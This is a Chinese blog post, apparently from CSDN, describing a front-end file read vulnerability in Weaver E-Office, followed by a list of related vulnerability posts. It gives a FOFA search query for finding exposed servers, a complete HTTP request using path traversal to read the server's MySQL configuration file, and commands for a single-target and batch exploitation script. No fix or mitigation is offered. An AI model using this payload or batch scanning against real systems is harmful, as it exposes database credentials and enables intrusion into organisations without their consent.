泛微E-Office前台文件读取漏洞

最新推荐文章于 2024-08-18 10:29:23 发布

为赋新词强说愁

最新推荐文章于 2024-08-18 10:29:23 发布

阅读量474

点赞数

分类专栏：信息安全文章标签： web安全网络安全

本文链接：https://blog.youkuaiyun.com/CommputerMac/article/details/133658050

版权

信息安全专栏收录该内容

4 篇文章

订阅专栏

一、漏洞描述

泛微E-Office是一款企业级的全流程办公自动化软件，它包括协同办公、文档管理、知识管理、工作流管理等多个模块，涵盖了企业日常工作中的各个环节。泛微E-Office能够帮助企业实现全流程数字化、自动化，提高工作效率和管理质量，降低管理成本，为企业提供全面、高效、便捷的办公服务。

泛微E-Office前台文件读取漏洞。

二、网络空间搜索引擎查询

fofa查询

 app=“泛微-EOffice”

三、漏洞复现

poc

GET /iweboffice/officeserver2.php?OPTION=LOADTEMPLATE&COMMAND=INSERTFILE&TEMPLATE=../../bin/mysql_config.ini HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0

浏览器直接访问返回如下

四、批量检测与利用

单个检测与利用

 python .\E-OfficeReadfile.py -u http://ip:port

批量检测

 python .\E-OfficeReadfile.py -f filename

关注微信公众号网络安全透视镜回复 20231008-1 获取批量检测脚本

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

为赋新词强说愁

关注关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

E-Office(泛微OA)前台任意文件读取漏洞复现

The current road is different, love needs to distinguish between right and wrong

11-05

1491

泛微E-Office是一款企业级的全流程办公自动化软件，它包括协同办公、文档管理、知识管理、工作流管理等多个模块，涵盖了企业日常工作中的各个环节。在该产品前台登录页存在文件读取漏洞。officeserver.php文件存在任意文件读取漏洞，通过漏洞可以下载服务器上的任意文件。没有人规定，一朵花一定要成长为向日葵或者玫瑰。

泛微E-Office前台文件读取漏洞复现

薛定谔嘚喵博客

10-07

330

泛微E-Office是一款企业级的全流程办公自动化软件，它包括协同办公、文档管理、知识管理、工作流管理等多个模块，涵盖了企业日常工作中的各个环节。泛微E-Office能够帮助企业实现全流程数字化、自动化，提高工作效率和管理质量，降低管理成本，为企业提供全面、高效、便捷的办公服务。泛微E-Office前台文件读取漏洞。

参与评论您还未登录，请先登录后发表或查看评论

某 E-Office v9 任意文件上传漏洞复现实战

blackpink01的博客

02-11

2828

本次复现漏洞为未公开漏洞 CNVD-2021-49104，该漏洞是由于 e-office 其上传模块中用户输入部分未能妥善处理，攻击者可以构造恶意的上传数据包，实现任意代码执行。

泛微云桥前台文件上传漏洞-202408

最新发布

网络安全。

08-18

1723

静态分析代码流程：先看方法有没有声明，没有声明使用 jd-gui 反编译工具 search 搜索要跳转的类方法，定位到后再去 idea 里查看有无声明，再无声明可结合 jd-gui、jar-analyzer工具搜索查找。动态分析：每一步都可以打断点动态分析一下，可以随时在每一步骤中用到的方法进行断点分析。

泛微OA e-cology FileDownloadForOutDoc前台SQL注入漏洞

maverickpig的博客

08-09

2411

泛微E-Office敏感信息泄露和未授权访问漏洞

08-03

2244

泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。

【漏洞复现】泛微-ecology-任意文件读取-ln.FileDownload

知黑而守白

07-15

531

泛微协同管理应用平台e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。泛微E-Cology接口处存在文件读取漏洞，恶意攻击者可能利用该漏洞读取服务器上的敏感文件，例如客户记录、财务数据或源代码，导致数据泄露。

泛微e-cology XmlRpcServlet文件读取漏洞复现

0xSec

12-12

1241

泛微e-cology XmlRpcServlet接口处存在任意文件读取漏洞，攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

【漏洞复现】泛微E-Office save_image任意文件上传漏洞

qq_34780861的博客

04-16

483

泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office 存在权限绕过漏洞（测试页面sample.php），攻击者可以通过此页面获取有效cookie绕过权限校验，利用后台文件上传漏洞上传后门文件获取服务器控制权限。

漏洞复现--泛微E-Office前台文件读取漏洞

qq_53003652的博客

10-08

544

泛微E-Office是一款企业级的全流程办公自动化软件，它包括协同办公、文档管理、知识管理、工作流管理等多个模块，涵盖了企业日常工作中的各个环节。在该产品前台登录页存在文件读取漏洞。app=“泛微-EOffice”

泛微E-Office前台文件上传漏洞

失心少年

06-20

1009

我们在第108行调用doc2text（），然后追溯到doc2txt（）参数$FILE_PATH的源，连接附件目录（C:\eoffice9\webroot\ATTACHMENT）的数据表FLE_CONTENT中ATTACHMENT_ID和ATTACHMENT_NAME列的值，以获得完整的文件路径。天擎攻防实验室的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。

【复现】泛微-EOfficeOA信息泄露漏洞_41

fushuang333的博客

02-06

1293

【复现】泛微-EOfficeOA信息泄露漏洞，未授权导致一些敏感配置信息泄露，可能造成系统危害以及重要信息泄露。

E-office OA 任意文件下载漏洞复现

afei001

01-09

1464

目录 1.漏洞概述 2.影响范围 3.漏洞等级 4.漏洞复现 5.漏洞分析 6.漏洞修复 1.漏洞概述泛微e-office是泛微公司面向中小型组织推出的OA产品，简单易用高效，部署快、投资少。提供免费试用体验。但泛微e-office OA系统存在的漏洞还真不少。这个任意文件下载漏洞之前在乌云上也爆出过了。由于配置文件/inc/attach.php中的ATTACHMENT_NAME参数未有效控制范围，导致任意文件下载。 ...

泛微最新漏洞汇总----实时更新！！！

yggcwhat

07-31

9542

泛微最新漏洞汇总

泛微e-office系统敏感信息泄露漏洞

故事讲予风听

02-24

1070

泛微e-office系统是标准、易用、快速部署上线的专业协同OA软件,国内协同OA办公领域领导品牌,致力于为企业用户提供专业OA办公系统、移动OA应用等协同OA整体解决方案。

pageoffice-之bug修改之旅

龍承leo

07-01

313

pageoffice的bug

office漏洞利用--获取shell

weixin_33842304的博客

12-11

202

　　环境：　　kali系统， windows系统　　流程：　　在kali系统生成利用文件， kali系统下监听本地端口， windows系统打开doc文件，即可中招　　　　第一种利用方式，适合测试用：　　　　从git下载代码： git clone https://github.com/Ridter/CVE-2017-11882 　　　　执行以下代码，会在当前...

office漏洞汇总

好好学习，天天向上

03-06

286

https://www.cnblogs.com/diligenceday/p/7898839.htmlhttps://cloud.tencent.com/developer/news/200097 CVE-2017-11882 https://blog.youkuaiyun.com/darkhq/article/details/79134981 CVE-2018-0802 噩梦公式二代复现https://ww...

[PageOffice]关于PageOffice你要知道的一些细节及避坑1.0

EasyJax的博客

08-29

5543

解决pageOffice的脚本错误、pageOffice.js无法获取401,403，注册问题，服务器打包部署失败等问题

泛微 e-cology 前台文件上传漏洞

07-28

泛微e-cology前台文件上传漏洞是指在泛微e-cology系统的前台功能中存在漏洞，攻击者可以利用该漏洞上传恶意文件到服务器上。根据引用\[1\]中提到的CNVD-2020-33199漏洞编号，该漏洞可能存在于泛微e-cology9版本的前台文件上传功能中。具体触发点位于文件/global_search.php的第108行，调用了doc2text()函数，并追溯到doc2txt()函数中的$FILE_PATH参数的源代码。该参数连接了附件目录（C:\eoffice9\webroot\ATTACHMENT）的数据表FLE_CONTENT中ATTACHMENT_ID和ATTACHMENT_NAME列的值，以获取完整的文件路径。\[2\] 需要注意的是，根据引用\[3\]中的声明，本文提供的信息仅供网络安全人员参考，未经授权请勿利用文章中的技术资料进行任何入侵操作。同时，禁止将本文提供的工具用于其他目的。 #### 引用[.reference_title] - *1* [泛微e-cology9前台文件上传漏洞复现](https://blog.youkuaiyun.com/qq_41490561/article/details/116119845)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [泛微E-Office前台文件上传漏洞](https://blog.youkuaiyun.com/u010025272/article/details/131312528)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]